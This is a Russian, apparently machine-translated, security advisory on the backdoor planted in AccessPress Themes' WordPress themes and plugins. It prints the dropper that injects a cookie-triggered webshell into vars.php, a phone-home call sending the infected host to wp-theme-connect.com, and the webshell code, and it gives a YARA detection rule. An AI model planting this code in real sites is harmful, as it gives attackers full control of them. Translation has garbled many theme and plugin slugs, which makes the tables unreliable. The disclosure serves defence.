Бэкдор в темах и плагинах от AccessPress Themes
Опубликовано: 2022-01-19Обновление от 1 февраля . Изменен раздел «Затронутые темы», чтобы отразить начало появления новых версий тем.
При исследовании взломанного сайта мы обнаружили подозрительный код в теме от AccessPress Themes (Access Keys), поставщика большого количества популярных тем и плагинов. В ходе дальнейшего расследования мы обнаружили, что все темы и большинство плагинов от поставщика содержат этот подозрительный код, но только в том случае, если они загружены с их собственного веб-сайта. Те же расширения были в порядке, если их загружать или устанавливать непосредственно из каталога WordPress.org.
Из-за того, как расширения были скомпрометированы, мы подозревали, что внешний злоумышленник взломал веб-сайт тем AccessPress, пытаясь использовать их расширения для заражения других сайтов.
Мы сразу же связались с продавцом, но сначала не получили ответа. После передачи информации команде плагинов WordPress.org наши подозрения подтвердились. Веб-сайты AccessPress Themes были взломаны в первой половине сентября 2021 года, и в расширения, доступные для загрузки на их сайте, был внедрен бэкдор.
После того, как мы установили канал для связи с поставщиком, мы поделились с ним нашими подробными выводами. Они немедленно удалили оскорбительные расширения со своего сайта.
С тех пор большинство плагинов были обновлены, а известные чистые версии перечислены внизу этого поста. Однако затронутые темы не были обновлены и взяты из репозитория тем WordPress.org. Если на вашем сайте установлена какая-либо из тем, перечисленных в нижней части этого поста, мы рекомендуем как можно скорее перейти на новую тему.
Это раскрытие касается большого количества расширений, как плагинов, так и тем. Перейдите к списку ниже или ознакомьтесь с подробностями.
Подробности:
Поставщик: Темы AccessPress
URL поставщика: https://accesspressthemes.com
Плагины: несколько
Темы: несколько
CVE: CVE-2021-24867
Анализ:
Зараженные расширения содержали дроппер для веб-шелла, предоставляющий злоумышленникам полный доступ к зараженным сайтам. Дроппер находится в файле inital.php
, расположенном в главном каталоге плагина или темы. При запуске он устанавливает веб-оболочку на основе файлов cookie в wp-includes/vars.php
. Оболочка устанавливается как функция непосредственно перед wp_is_mobile()
с именем wp_is_mobile_fix()
. По-видимому, это сделано для того, чтобы не вызывать подозрений у кого-либо, случайно просматривающего файл vars.php
.
function makeInit() {
$b64 = 'ba' . 'se64' . '_dec' . 'ode';
$b = 'ZnVuY3Rpb2........TsKCg==';
$f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
if(file_exists($f)) {
$fp = 0777 & @fileperms($f);
$ft = @filemtime($f);
$fc = @file_get_contents($f);
if(strpos($fc, 'wp_is_mobile_fix') === false) {
$fc = str_replace('function wp_is_mobile()',
$b64($b) . 'function wp_is_mobile()',
$fc);
@file_put_contents($f, $fc);
@touch($f, $ft);
@chmod($f, $fp);
}
return true;
}
return false;
}
После установки оболочки дроппер позвонит домой, загрузив удаленное изображение с URL-адреса hxxps://www.wp-theme-connect.com/images/wp-theme.jpg
с URL-адресом зараженного сайта и информацией о какую тему он использует в качестве аргументов запроса. Наконец, он удалит исходный файл дроппера, чтобы избежать обнаружения после завершения выполнения запроса.
function finishInit() {
unlink(__FILE__);
}
add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {
function wp_notice_plug() {
echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
}
}
register_shutdown_function('finishInit');
Сама веб-оболочка срабатывает, если строка пользовательского агента в запросе — wp_is_mobile
и запрос содержит восемь определенных файлов cookie. Он объединяется и выполняет полезную нагрузку из этих предоставленных файлов cookie.
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
Мы также видели другой, предположительно более старый вариант бэкдора, встроенный непосредственно в файл functions.php
темы/плагина. Этот вариант использует тот же механизм с объединением полезной нагрузки из восьми файлов cookie, но не фильтрует строку пользовательского агента запроса.
Чтобы обеспечить выполнение дроппера, основной файл плагина (для плагинов) или файл functions.php
(для тем) был изменен с помощью кода для выполнения файла inital.php
, если он существует.
if(is_admin()) {
add_action( "init", 'apap_plugin_check' );
}
function apap_plugin_check(){
if(file_exists(__DIR__ . "/inital.php")){
include(__DIR__ . "/inital.php");
}
}
Одна поразительная деталь временных меток скомпрометированных плагинов заключается в том, что все они относятся к началу сентября. Большинство из них датированы 6 и 7 сентября, а несколько файлов — 2 и 3 сентября. Аналогичным образом, все темы были скомпрометированы 22 сентября, за исключением accessbuddy
— 9 сентября.
Кроме того, временные метки в zip-архивах очень однородны, почти все файлы имеют одну и ту же временную метку, за исключением измененного основного файла плагина и добавленного файла дроппера, который проставляется через несколько минут (обычно около 2-5 минут после). остальные файлы в архиве).
Однако, глядя на метки времени для zip-файлов, загруженных из репозитория wordpress.org
, мы находим распределение меток времени, соответствующее тому, когда плагин/тема были фактически обновлены. Кроме того, распределение временных меток в архиве менее единообразно и отражает, какие файлы были обновлены в выпуске, а какие не изменились по сравнению с более ранним выпуском.
Это говорит нам о том, что файлы с веб-сайта AccessPress Themes были изменены преднамеренно и в результате скоординированных действий после того, как они были первоначально выпущены. Компрометация, похоже, была выполнена в два этапа: один для плагинов, а второй для тем. Каждый из них с некоторыми более ранними попытками, возможно, для точной настройки процесса.
В нашем исследовании рассматривались только темы и плагины, доступные бесплатно на веб-сайте AccessPress Themes. Мы предполагаем, что их платные профессиональные темы затронуты аналогичным образом, но мы не исследовали их. Если у вас есть какой-либо из них, обратитесь в службу поддержки AccessPress Themes для получения дополнительной консультации.
Затронутые темы
Если на вашем сайте установлена какая-либо из следующих тем с номером версии в столбце Bad , мы рекомендуем немедленно обновить ее до версии в столбце Clean . Стоит отметить, что темы, установленные через WordPress.org, являются чистыми, даже если они перечислены в столбце Bad . Мы по-прежнему рекомендуем обновиться до известной чистой версии, чтобы быть в безопасности.
Темы без номера версии в столбце « Очистка » еще не были обновлены, и мы рекомендуем заменить их другой темой, если это вообще возможно.
Слизняк темы | Плохой | Чистый |
---|---|---|
доступ приятель | 1.0.0 | |
accesspress-basic | 3.2.1 | 3.2.2 |
доступ для прессы | 2,92 | 2,93 |
доступ к пресс-журналу | 2.6.5 | 2.6.6 |
доступнажмите-параллакс | 4,5 | 4.6 |
доступпресс-луч | 1.19.5 | |
доступнажмите-корень | 2,5 | 2.6.0 |
доступпресс-степлер | 1.9.1 | |
доступ к пресс-магазину | 2.4.9 | 2.5.0 |
агентство-лайт | 1.1.6 | 1.1.7 |
аплит | 1.0.6 | |
выпивка | 1.0.4 | 1.0.5 |
блогер | 1.2.6 | 1.2.7 |
облегченная конструкция | 1.2.5 | 1.2.6 |
доко | 1.0.27 | 1.1.0 |
просвещать | 1.3.5 | 1.3.6 |
магазин | 1.2.1 | |
фотография | 2.4.0 | 2.4.1 |
gaga-corp | 1.0.8 | |
гага-лайт | 1.4.2 | |
один шаг | 2.2.8 | |
параллакс-блог | 3.1.1574941215 | |
параллаксом | 1.3.6 | 1.3.7 |
пунте | 1.1.2 | 1.1.3 |
вращаться | 1.3.1 | |
рябь | 1.2.0 | 1.2.1 |
прокрутите меня | 2.1.0 | |
спортивный журнал | 1.2.1 | |
складвилла | 1.4.1 | 1.4.2 |
свинг-лайт | 1.1.9 | 1.2.0 |
пусковая установка | 1.3.2 | 1.3.3 |
понедельник | 1.4.1 | |
uncode-lite | 1.3.1 | |
unicon-lite | 1.2.6 | 1.2.7 |
вмаг | 1.2.7 | 1.2.8 |
vmagazine-lite | 1.3.5 | 1.3.7 |
vmagazine-новости | 1.0.5 | 1.0.6 |
зигзи-бэби | 1.0.6 | 1.0.7 |
Zigcy-косметика | 1.0.5 | 1.0.6 |
зигци-лайт | 2.0.9 | 2.1.0 |
Затронутые плагины
Если на вашем сайте установлен какой-либо из следующих плагинов с номером версии в столбце Bad , мы рекомендуем немедленно обновить его до версии в столбце Clean . Стоит отметить, что плагины, установленные через WordPress.org, являются чистыми, даже если они перечислены в столбце Bad . Мы по-прежнему рекомендуем обновиться до известной чистой версии, чтобы быть в безопасности.

Плагины без номера версии в столбце « Очистка » еще не были обновлены, и мы рекомендуем заменить их другими плагинами, если это вообще возможно.
Слаг плагина | Плохой | Чистый | Примечание |
---|---|---|---|
доступпресс-анонимно-сообщение | 2.8.0 | 2.8.1 | 1 |
accesspress-custom-css | 2.0.1 | 2.0.2 | |
accesspress-custom-post-type | 1.0.8 | 1.0.9 | |
доступ к прессе-facebook-auto-post | 2.1.3 | 2.1.4 | |
доступпресс-инстаграм-лента | 4.0.3 | 4.0.4 | |
доступpress-pinterest | 3.3.3 | 3.3.4 | |
доступнажмите-социальный-счетчик | 1.9.1 | 1.9.2 | |
доступнажмите-социальные-иконки | 1.8.2 | 1.8.3 | |
accesspress-social-login-lite | 3.4.7 | 3.4.8 | |
доступнажмите в социальных сетях | 4.5.5 | 4.5.6 | |
доступ к пресс-твиттеру-автоматической публикации | 1.4.5 | 1.4.6 | |
доступ к пресс-твиттеру | 1.6.7 | 1.6.8 | |
ак-меню-значки-облегченный | 1.0.9 | ||
ap-компаньон | 1.0.7 | 2 | |
ap-контактная форма | 1.0.6 | 1.0.7 | |
ap-обычай-отзыв | 1.4.6 | 1.4.7 | |
ap-мега-меню | 3.0.5 | 3.0.6 | |
ap-pricing-таблицы-lite | 1.1.2 | 1.1.3 | |
апекс-уведомление-бар-лайт | 2.0.4 | 2.0.5 | |
cf7-store-to-db-lite | 1.0.9 | 1.1.0 | |
комментарии-отключить-accesspress | 1.0.7 | 1.0.8 | |
easy-side-tab-cta | 1.0.7 | 1.0.8 | |
Эверест-админ-тема-облегченный | 1.0.7 | 1.0.8 | |
Эверест-скоро-лайт | 1.1.0 | 1.1.1 | |
эверест-комментарий-рейтинг-лайт | 2.0.4 | 2.0.5 | |
эверест-контр-лайт | 2.0.7 | 2.0.8 | |
everest-faq-manager-lite | 1.0.8 | 1.0.9 | |
Эверест-галерея-лайт | 1.0.8 | 1.0.9 | |
эверест-google-места-обзоры-lite | 1.0.9 | 2.0.0 | |
Эверест-обзор-лайт | 1.0.7 | ||
Эверест-Таб-Лайт | 2.0.3 | 2.0.4 | |
Эверест-таймлайн-лайт | 1.1.1 | 1.1.2 | |
встроенный строитель с призывом к действию | 1.1.0 | 1.1.1 | |
слайдер продукта для woocommerce-lite | 1.1.5 | 1.1.6 | |
смарт-логотип-витрина-лайт | 1.1.7 | 1.1.8 | |
умные прокрутки | 2.0.8 | 2.0.9 | |
умная прокрутка до верхней части | 1.0.3 | 1.0.4 | |
полное соответствие gdpr-lite | 1.0.4 | ||
тотал-команда-лайт | 1.1.1 | 1.1.2 | |
конечный автор-бокс-лайт | 1.1.2 | 1.1.3 | |
Ultimate-form-Builder-Lite | 1.5.0 | 1.5.1 | |
woo-badge-дизайнер-лайт | 1.1.0 | 1.1.1 | |
wp-1-слайдер | 1.2.9 | 1.3.0 | |
wp-блог-менеджер-облегченный | 1.1.0 | 1.1.2 | |
wp-комментарий-дизайнер-облегченный | 2.0.3 | 2.0.4 | |
wp-cookie-информация о пользователе | 1.0.7 | 1.0.8 | |
wp-facebook-обзор-витрина-lite | 1.0.9 | ||
wp-fb-messenger-кнопка-lite | 2.0.7 | ||
wp-плавающее меню | 1.4.4 | 1.4.5 | |
wp-медиа-менеджер-lite | 1.1.2 | 1.1.3 | |
wp-всплывающие баннеры | 1.2.3 | 1.2.4 | |
wp-всплывающее-облегченный | 1.0.8 | ||
wp-продукт-галерея-lite | 1.1.1 |
Примечания:
- Этот плагин не обновлялся, но считается чистым, поскольку версия на веб-сайте AccessPress Themes была более старой версией.
- Этот плагин не обновлялся, но считается чистым, поскольку изначально он не был доступен на веб-сайте тем AccessPress.
МОК
Следующее правило YARA можно использовать для проверки того, заражен ли сайт. Он обнаружит как дроппер-часть инфекции, так и установленный веб-шелл.
rule accesspress_backdoor_infection
{
strings:
// IoC's for the dropper
$inject0 = "$fc = str_replace('function wp_is_mobile()',"
$inject1 = "$b64($b) . 'function wp_is_mobile()',"
$inject2 = "$fc);"
$inject3 = "@file_put_contents($f, $fc);"
// IoC's for the dumped payload
$payload0 = "function wp_is_mobile_fix()"
$payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
$payload2 = "$g = $_COOKIE;"
$payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
$url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
condition:
all of ( $inject* )
or all of ( $payload* )
or $url0
}
Рекомендации
Если у вас есть какие-либо темы или плагины, установленные непосредственно из тем AccessPress или любого другого места, кроме WordPress.org, вам следует немедленно перейти на безопасную версию, как указано в таблицах выше. Если безопасной версии нет, замените ее последней версией с WordPress.org.
Обратите внимание, что это не удаляет бэкдор из вашей системы, поэтому вам необходимо переустановить чистую версию WordPress, чтобы отменить изменения файла ядра, сделанные во время установки бэкдора.
Если у вас есть платная тема или плагин от AccessPress Themes/Access Keys, советуем обратиться за помощью в их поддержку.
Мы настоятельно рекомендуем вам иметь план безопасности для вашего сайта, который включает сканирование вредоносных файлов и резервное копирование. Jetpack Security — это отличный вариант безопасности WordPress для обеспечения безопасности вашего сайта и посетителей. Jetpack Scan обнаружил все варианты этого бэкдора и дроппера с 30 сентября.
График
22 сентября 2021 г.: команда Jetpack Scan обнаруживает дроппер и лазейку в теме FotoGrapy и пытается связаться с поставщиком по поводу первоначальной находки.
27.09.2021: Подтвердите наличие дроппера + бэкдора во всех текущих бесплатных плагинах и темах, загруженных с веб-сайтов поставщиков.
28 сентября 2021 г.: Подтвердите, что дроппер + черный ход не присутствуют при загрузке с wordpress.org.
29 сентября 2021 г.: Повторная попытка связаться с поставщиком, чтобы сообщить о новых результатах.
14.10.2021: Передан команде плагинов WordPress, чтобы попытаться связаться с поставщиком.
15.10.2021: С сайта поставщика удалены скомпрометированные расширения.
16.10.2021: Ответ поставщика
17.01.2022: Большинство плагинов обновлены до новых версий, темы взяты с WordPress.org.
18.01.2022 Публичное раскрытие